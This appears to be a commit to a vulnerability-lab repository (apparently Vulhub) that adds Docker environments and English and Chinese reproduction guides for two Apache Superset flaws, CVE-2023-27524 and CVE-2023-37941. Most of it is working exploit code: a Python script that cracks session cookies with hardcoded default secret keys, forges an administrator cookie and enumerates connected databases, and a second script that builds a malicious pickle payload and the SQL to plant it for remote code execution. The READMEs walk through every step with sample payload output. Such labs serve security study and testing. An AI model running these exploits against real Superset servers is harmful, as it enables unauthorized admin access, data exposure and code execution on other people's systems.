first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
BIN
superset/CVE-2023-27524/1.png
Normal file
After Width: | Height: | Size: 52 KiB |
BIN
superset/CVE-2023-27524/2.png
Normal file
After Width: | Height: | Size: 126 KiB |
129
superset/CVE-2023-27524/CVE-2023-27524.py
Normal file
@@ -0,0 +1,129 @@
|
||||
from flask_unsign import session
|
||||
import requests
|
||||
import urllib3
|
||||
import argparse
|
||||
import re
|
||||
from time import sleep
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
SECRET_KEYS = [
|
||||
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
|
||||
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
|
||||
b'thisISaSECRET_1234', # deployment template
|
||||
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
|
||||
b'TEST_NON_DEV_SECRET' # docker compose
|
||||
]
|
||||
|
||||
def main():
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
|
||||
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
|
||||
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
|
||||
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
u = args.url.rstrip('/') + '/login/'
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
|
||||
}
|
||||
|
||||
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
|
||||
if resp.status_code != 200:
|
||||
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
|
||||
return
|
||||
|
||||
session_cookie = None
|
||||
for c in resp.cookies:
|
||||
if c.name == 'session':
|
||||
session_cookie = c.value
|
||||
break
|
||||
|
||||
if not session_cookie:
|
||||
print('Error: No session cookie found')
|
||||
return
|
||||
|
||||
print(f'Got session cookie: {session_cookie}')
|
||||
|
||||
try:
|
||||
decoded = session.decode(session_cookie)
|
||||
print(f'Decoded session cookie: {decoded}')
|
||||
except:
|
||||
print('Error: Not a Flask session cookie')
|
||||
return
|
||||
|
||||
match = re.search(r'"version_string": "(.*?)"', resp.text)
|
||||
if match:
|
||||
version = match.group(1)
|
||||
else:
|
||||
version = 'Unknown'
|
||||
|
||||
print(f'Superset Version: {version}')
|
||||
|
||||
|
||||
for i, k in enumerate(SECRET_KEYS):
|
||||
cracked = session.verify(session_cookie, k)
|
||||
if cracked:
|
||||
break
|
||||
|
||||
if not cracked:
|
||||
print('Failed to crack session cookie')
|
||||
return
|
||||
|
||||
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
|
||||
|
||||
try:
|
||||
user_id = int(args.id)
|
||||
except:
|
||||
user_id = args.id
|
||||
|
||||
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
|
||||
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
|
||||
|
||||
if args.validate:
|
||||
validated = False
|
||||
try:
|
||||
headers['Cookie'] = f'session={forged_cookie}'
|
||||
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
|
||||
sleep(args.timeout)
|
||||
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
|
||||
if resp.status_code == 302:
|
||||
print(f'Got 302 on login, forged cookie appears to have been accepted')
|
||||
validated = True
|
||||
else:
|
||||
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
|
||||
except Exception as e_inner:
|
||||
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
|
||||
|
||||
if not validated:
|
||||
return
|
||||
|
||||
print('Enumerating databases')
|
||||
for i in range(1, 101):
|
||||
database_url_base = args.url.rstrip('/') + '/api/v1/database'
|
||||
try:
|
||||
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
|
||||
if r.status_code == 200:
|
||||
result = r.json()['result'] # validate response is JSON
|
||||
name = result['database_name']
|
||||
print(f'Found database {name}')
|
||||
elif r.status_code == 404:
|
||||
print(f'Done enumerating databases')
|
||||
break # no more databases
|
||||
else:
|
||||
print(f'Unexpected error: status code={r.status_code}')
|
||||
break
|
||||
except Exception as e_inner:
|
||||
print(f'Unexpected error: {e_inner}')
|
||||
break
|
||||
|
||||
|
||||
except Exception as e:
|
||||
print(f'Unexpected error: {e}')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
52
superset/CVE-2023-27524/README.md
Normal file
@@ -0,0 +1,52 @@
|
||||
# Apache Superset Hardcoded JWT Secret Key Leads to Authentication Bypass (CVE-2023-27524)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache Superset is an open-source data exploration and visualization platform designed to be visual, intuitive, and interactive.
|
||||
|
||||
Apache Superset contains a hardcoded JWT secret key vulnerability (CVE-2023-27524). The application ships with a default `SECRET_KEY` value that is used to sign session cookies. When administrators fail to change this default key, attackers can forge valid session cookies and authenticate as any user, including administrators. This allows unauthorized access to the Superset dashboard, connected databases, and potentially leads to remote code execution.
|
||||
|
||||
When combined with [CVE-2023-37941](../CVE-2023-37941/README.md), an unauthenticated attacker can achieve remote code execution by first bypassing authentication and then exploiting the deserialization vulnerability. This documentation only demonstrates the exploitation of CVE-2023-27524.
|
||||
|
||||
References:
|
||||
|
||||
- <https://www.horizon3.ai/attack-research/disclosures/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/>
|
||||
- <https://github.com/horizon3ai/CVE-2023-27524>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start an Apache Superset 2.0.1 server:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, you can access Superset at `http://your-ip:8088`. The default login credentials are admin/vulhub.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
The vulnerability exists because Superset uses one of following hardcoded default `SECRET_KEY` values:
|
||||
|
||||
- `\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h` (version < 1.4.1)
|
||||
- `CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET` (version >= 1.4.1)
|
||||
- `thisISaSECRET_1234` (deployment template)
|
||||
- `YOUR_OWN_RANDOM_GENERATED_SECRET_KEY` (documentation)
|
||||
- `TEST_NON_DEV_SECRET` (docker compose)
|
||||
|
||||
Use [CVE-2023-27524.py](CVE-2023-27524.py) to forge an administrative session (whose user_id is 1) cookie:
|
||||
|
||||
```bash
|
||||
# Install dependencies
|
||||
pip install -r requirements.txt
|
||||
|
||||
# Forge an administrative session (whose user_id is 1) cookie
|
||||
python CVE-2023-27524.py --url http://your-ip:8088 --id 1 --validate
|
||||
```
|
||||
|
||||
This script attempts to crack the session cookie using known default secret keys. If successful, it will forge a new session cookie with user_id=1 (typically the admin user) and validate the login.
|
||||
|
||||

|
||||
|
||||
Use this JWT token in the cookie value like `Cookie: session=eyJ...`, you can access the backend endpoint of Superset:
|
||||
|
||||

|
50
superset/CVE-2023-27524/README.zh-cn.md
Normal file
@@ -0,0 +1,50 @@
|
||||
# Apache Superset 硬编码JWT密钥导致认证绕过漏洞(CVE-2023-27524)
|
||||
|
||||
Apache Superset是一个开源的数据探索和可视化平台,设计为可视化、直观和交互式的数据分析工具。
|
||||
|
||||
Apache Superset存在一个硬编码JWT密钥漏洞(CVE-2023-27524)。该应用程序默认配置了一个预设的`SECRET_KEY`值,用于签名会话Cookie。当管理员未更改这个默认密钥时,攻击者可以伪造有效的会话Cookie并以任意用户(包括管理员)身份进行认证。这允许未授权访问Superset仪表盘、连接的数据库,并可能导致远程代码执行。
|
||||
|
||||
当与 [CVE-2023-37941](../CVE-2023-37941/README.md) 结合使用时,未经身份验证的攻击者可以先绕过身份验证,然后利用反序列化漏洞执行任意代码。不过本文档只展示CVE-2023-27524的利用。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://www.horizon3.ai/attack-research/disclosures/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/>
|
||||
- <https://github.com/horizon3ai/CVE-2023-27524>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行以下命令启动Apache Superset 2.0.1服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,可以通过`http://your-ip:8088`访问Superset。默认登录凭据为admin/vulhub。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
这个漏洞存在的原因是Superset使用以下硬编码的`SECRET_KEY`作为密钥来签名Cookie:
|
||||
|
||||
- `\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h` (版本 < 1.4.1)
|
||||
- `CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET` (版本 >= 1.4.1)
|
||||
- `thisISaSECRET_1234`
|
||||
- `YOUR_OWN_RANDOM_GENERATED_SECRET_KEY`
|
||||
- `TEST_NON_DEV_SECRET`
|
||||
|
||||
使用[CVE-2023-27524.py](CVE-2023-27524.py)伪造管理员(用户id为1)会话Cookie:
|
||||
|
||||
```bash
|
||||
# Install dependencies
|
||||
pip install -r requirements.txt
|
||||
|
||||
# Forge an administrative session (whose user_id is 1) cookie
|
||||
python CVE-2023-27524.py --url http://your-ip:8088 --id 1 --validate
|
||||
```
|
||||
|
||||
该脚本尝试使用已知的默认密钥破解会话Cookie。如果成功,它将伪造一个新的会话Cookie,其中user_id=1(通常是管理员用户),并验证登录。
|
||||
|
||||

|
||||
|
||||
将这个伪造的JWT令牌添加到Cookie值中,如`Cookie: session=eyJ...`,即可访问Superset的后端API:
|
||||
|
||||

|
5
superset/CVE-2023-27524/docker-compose.yml
Normal file
@@ -0,0 +1,5 @@
|
||||
services:
|
||||
web:
|
||||
image: vulhub/superset:2.0.1
|
||||
ports:
|
||||
- 8088:8088
|
2
superset/CVE-2023-27524/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
flask-unsign==1.2.0
|
||||
requests
|
BIN
superset/CVE-2023-37941/1.png
Normal file
After Width: | Height: | Size: 26 KiB |
BIN
superset/CVE-2023-37941/2.png
Normal file
After Width: | Height: | Size: 53 KiB |
BIN
superset/CVE-2023-37941/3.png
Normal file
After Width: | Height: | Size: 70 KiB |
BIN
superset/CVE-2023-37941/4.png
Normal file
After Width: | Height: | Size: 154 KiB |
BIN
superset/CVE-2023-37941/5.png
Normal file
After Width: | Height: | Size: 28 KiB |
53
superset/CVE-2023-37941/CVE-2023-37941.py
Normal file
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2023-37941 exploit script for Apache Superset
|
||||
This script creates a malicious pickle payload that when deserialized
|
||||
by Apache Superset will execute the specified command.
|
||||
|
||||
Usage:
|
||||
python CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
|
||||
|
||||
-c: Command to execute
|
||||
-d: Database type (default: sqlite)
|
||||
"""
|
||||
|
||||
import pickle
|
||||
import base64
|
||||
import os
|
||||
import argparse
|
||||
from binascii import hexlify
|
||||
|
||||
|
||||
class PickleRCE:
|
||||
def __reduce__(self):
|
||||
# Reverse shell command
|
||||
return os.system, (self.cmd,)
|
||||
|
||||
def __init__(self, cmd):
|
||||
self.cmd = cmd
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Generate a malicious pickle payload for CVE-2023-37941')
|
||||
parser.add_argument('-c', '--cmd', required=True, help='Command to execute')
|
||||
parser.add_argument('-d', '--database', choices=['sqlite', 'mysql', 'postgres'], default='sqlite', help='Database type')
|
||||
args = parser.parse_args()
|
||||
|
||||
# Generate the malicious pickle payload
|
||||
payload = pickle.dumps(PickleRCE(args.cmd), protocol=0)
|
||||
|
||||
# Print the payload in both base64 and hex formats
|
||||
print("[+] Base64 encoded payload:")
|
||||
print(base64.b64encode(payload).decode())
|
||||
|
||||
print("\n[+] Hex encoded payload (for SQL): ")
|
||||
if args.database == 'sqlite':
|
||||
print(r'''update key_value set value=X'{data}' where resource='dashboard_permalink';'''.format(data=hexlify(payload).decode()))
|
||||
elif args.database == 'mysql':
|
||||
print(r'''update key_value set value=UNHEX('{data}') where resource='dashboard_permalink';'''.format(data=hexlify(payload).decode()))
|
||||
elif args.database == 'postgres':
|
||||
print(r'''update key_value set value='\x{data}' where resource='dashboard_permalink';'''.format(data=hexlify(payload).decode()))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
70
superset/CVE-2023-37941/README.md
Normal file
@@ -0,0 +1,70 @@
|
||||
# Apache Superset Python Pickle Deserialization Leads to RCE (CVE-2023-37941)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache Superset is an open-source data exploration and visualization platform designed to be visual, intuitive, and interactive.
|
||||
|
||||
Apache Superset versions from 1.5 to 2.1.0 contain a Python Pickle deserialization vulnerability (CVE-2023-37941). The application uses Python's `pickle` package to store certain configuration data in the metadata database. An authenticated user with write access to the metadata database can insert a malicious pickle payload, which when deserialized by the application, leads to remote code execution on the Superset server.
|
||||
|
||||
When combined with [CVE-2023-27524](../CVE-2023-27524), an unauthenticated attacker can achieve remote code execution by first bypassing authentication and then exploiting the deserialization vulnerability.
|
||||
|
||||
References:
|
||||
|
||||
- <https://www.horizon3.ai/attack-research/disclosures/apache-superset-part-ii-rce-credential-harvesting-and-more/>
|
||||
- <https://github.com/Barroqueiro/CVE-2023-37941>
|
||||
- <https://forum.butian.net/share/2458>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start an Apache Superset 2.0.1 server:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, you can access Superset at `http://your-ip:8088`. The default login credentials are admin/vulhub.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
The following steps assume you have already generate a valid session cookie and logged into the Dashboard through the [CVE-2023-27524](../CVE-2023-27524) vulnerability.
|
||||
|
||||
First, create a new "Dashboard" and generate a permalink by clicking the "Share" button, copy this permalink and we will use it later:
|
||||
|
||||

|
||||
|
||||
Then, create a new "Database" connection by following the steps below:
|
||||
|
||||
1. Navigate to "Data" → "Databases" in the Superset UI
|
||||
2. Click "+ Database" to add a new database connection
|
||||
3. Enter a name for the database (e.g., "SQLite")
|
||||
4. For the SQLAlchemy URI, use: `sqlite+pysqlite:////app/superset_home/superset.db`
|
||||
5. Expand "Advanced" and check "Expose in SQL Lab" and "Allow DML"
|
||||
6. Save the database configuration
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Then, use [CVE-2023-37941.py](CVE-2023-37941.py) to generate a malicious SQL command (the `-d` option can be `sqlite`, `mysql`, or `postgres`, means the database type of the Superset server, here is `sqlite` in Vulhub):
|
||||
|
||||
```shell
|
||||
$ python3 CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
|
||||
[+] Base64 encoded payload:
|
||||
Y3Bvc2l4CnN5c3RlbQpwMAooVnRvdWNoIC90bXAvc3VjY2VzcwpwMQp0cDIKUnAzCi4=
|
||||
|
||||
[+] Hex encoded payload (for SQL):
|
||||
update key_value set value=X'63706f7369780a73797374656d0a70300a2856746f756368202f746d702f737563636573730a70310a7470320a5270330a2e' where resource='dashboard_permalink';
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Because the `pickle` deserialization payload is different for different operating systems, you need to run the POC on Linux or MacOS.
|
||||
|
||||
Execute the generated SQL command in the SQL Lab:
|
||||
|
||||

|
||||
|
||||
Finally, trigger the deserialization by accessing the permalink:
|
||||
|
||||

|
||||
|
||||
As you can see, the `touch /tmp/success` command has been executed successfully.
|
68
superset/CVE-2023-37941/README.zh-cn.md
Normal file
@@ -0,0 +1,68 @@
|
||||
# Apache Superset Python Pickle 反序列化导致远程代码执行(CVE-2023-37941)
|
||||
|
||||
Apache Superset是一个开源的数据探索和可视化平台,设计为可视化、直观和交互式的数据分析工具。
|
||||
|
||||
Apache Superset 1.5至2.1.0版本中存在一个Python Pickle反序列化漏洞(CVE-2023-37941)。该应用程序使用Python的`pickle`包来在元数据数据库中存储特定的配置数据。具有元数据数据库写入权限的已认证用户可以插入恶意的Pickle有效载荷,当应用程序反序列化这些数据时,会导致Superset服务器上的远程代码执行。
|
||||
|
||||
当与[CVE-2023-27524](../CVE-2023-27524)结合使用时,未经身份验证的攻击者可以先绕过身份验证,然后利用反序列化漏洞执行任意代码。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://www.horizon3.ai/attack-research/disclosures/apache-superset-part-ii-rce-credential-harvesting-and-more/>
|
||||
- <https://github.com/Barroqueiro/CVE-2023-37941>
|
||||
- <https://forum.butian.net/share/2458>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行以下命令启动Apache Superset 2.0.1服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,可以通过`http://your-ip:8088`访问 Superset。默认登录凭据为admin/vulhub。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
执行以下步骤前,假设你已经通过[CVE-2023-27524](../CVE-2023-27524)漏洞生成有效的会话Cookie并登录到仪表板。
|
||||
|
||||
首先,创建一个新的"Dashboard",并通过点击"Share"按钮生成一个永久链接,复制这个永久链接,稍后将会用到:
|
||||
|
||||

|
||||
|
||||
然后,按照以下步骤创建一个新的"Database":
|
||||
|
||||
1. 导航到"Data"→"Databases"
|
||||
2. 点击"+ Database"添加一个新的数据库连接
|
||||
3. 输入数据库名称(比如"SQLite")
|
||||
4. 这里请填写:`sqlite+pysqlite:////app/superset_home/superset.db`
|
||||
5. 展开"Advanced"并勾选"Expose in SQL Lab"和"Allow DML"
|
||||
6. 保存数据库配置
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
然后,使用[CVE-2023-37941.py](CVE-2023-37941.py)生成恶意SQL命令(`-d`选项可以是`sqlite`、`mysql`或`postgres`,表示Superset服务器的数据库类型,在Vulhub中是`sqlite`):
|
||||
|
||||
```shell
|
||||
$ python3 CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
|
||||
[+] Base64 encoded payload:
|
||||
Y3Bvc2l4CnN5c3RlbQpwMAooVnRvdWNoIC90bXAvc3VjY2VzcwpwMQp0cDIKUnAzCi4=
|
||||
|
||||
[+] Hex encoded payload (for SQL):
|
||||
update key_value set value=X'63706f7369780a73797374656d0a70300a2856746f756368202f746d702f737563636573730a70310a7470320a5270330a2e' where resource='dashboard_permalink';
|
||||
```
|
||||
|
||||
> [!注意]
|
||||
> 因为`pickle`反序列化的Payload在不同操作系统上是不同的,所以你需要在Linux或MacOS上生成Payload。
|
||||
|
||||
在SQL Lab中执行生成的SQL命令:
|
||||
|
||||

|
||||
|
||||
最后,通过访问前面复制的永久链接触发反序列化:
|
||||
|
||||

|
||||
|
||||
可见,`touch /tmp/success`命令已成功执行。
|
5
superset/CVE-2023-37941/docker-compose.yml
Normal file
@@ -0,0 +1,5 @@
|
||||
services:
|
||||
web:
|
||||
image: vulhub/superset:2.0.1
|
||||
ports:
|
||||
- 8088:8088
|